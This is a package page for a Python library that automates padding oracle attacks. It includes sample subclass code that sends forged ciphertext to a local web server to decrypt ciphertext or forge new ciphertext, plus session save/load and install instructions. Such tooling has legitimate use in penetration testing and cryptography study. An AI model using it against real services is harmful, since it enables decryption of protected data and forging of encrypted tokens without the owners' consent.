Skip to main content

a library for padding oracle attack

Project description

A library for padding oracle attack concurrently

Payload_model is a abstract class handling all details of padding oracle attack algorithm. You should specify a subclass of payload_model and change some import methods. You can customize it to fit different environment.

Usage

Get clear text from cipher text

from padding_oracle_attack import payload_model
import grequests
from grequests import request

class payload(payload_model):
    def padding_ok(self, resp:Response) -> bool:
        if resp.status_code == 200:
            return True
        else:
            return False

    def recover_fake_data(self, req:Request, fake_datas):
        for fake_data in fake_datas:
            if bytes.hex(fake_data) in req.url:
                return fake_data
        return None

    def make_request(self, fake_data) -> request:
        params = {
                "data": bytes.hex(fake_data)
            }

        return request("get", "http://127.0.0.1:5000", params=params)

if __name__ == "__main__":
    m = payload("3a10f84900818b1c439430600524fb0f00000000000000000000000000000000")
    m.run()

record

Fake cipher text via clear text

...
# some code same as the former
...
if __name__ == "__main__":
    m = payload("3a10f84900818b", fake=True)
    m.run()

Result

result

Save and Load session

When breaking down the execution(CTRL-C), it will save session to file 'padding-session.txt' automaticly.You can load session like below.

payload = Payload(bytes.hex(exp), fake=True)
payload.load()
payload.run()

Installation

pip install padding-oracle-attack

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

padding-oracle-attack-0.1.0.tar.gz (4.2 kB view hashes)

Uploaded Source

Built Distribution

padding_oracle_attack-0.1.0-py3-none-any.whl (9.0 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page